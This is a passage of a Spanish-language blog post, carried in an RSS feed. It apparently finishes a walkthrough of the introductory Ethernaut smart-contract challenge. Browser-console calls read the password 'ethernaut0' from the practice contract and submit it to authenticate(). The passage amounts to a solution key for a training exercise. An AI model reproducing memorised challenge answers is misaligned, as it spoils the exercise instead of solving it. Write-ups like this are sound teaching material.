&lt;p&gt;Y entonces:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;method7123949&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// Output: 'If you know the password, submit it to authenticate().'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ok... pero cual es la contraseña? Inspeccionemos los contratos ABI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;contract&lt;/span&gt;

&lt;span class="c1"&gt;// Output: { abi: ..., address: ..., ...., password: f () }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Al inspeccionar vemos que hay un &lt;code&gt;password&lt;/code&gt; método para el contrato. Llamémoslo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;password&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;// Output: 'ethernaut0`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tenemos la contraseña. Finalmente:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ethernaut0&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;y confirme la transacción en metamask. Enviar instancia.&lt;/p&gt;

</description>
      <category>watercooler</category>
    </item>
  </channel>
</rss>
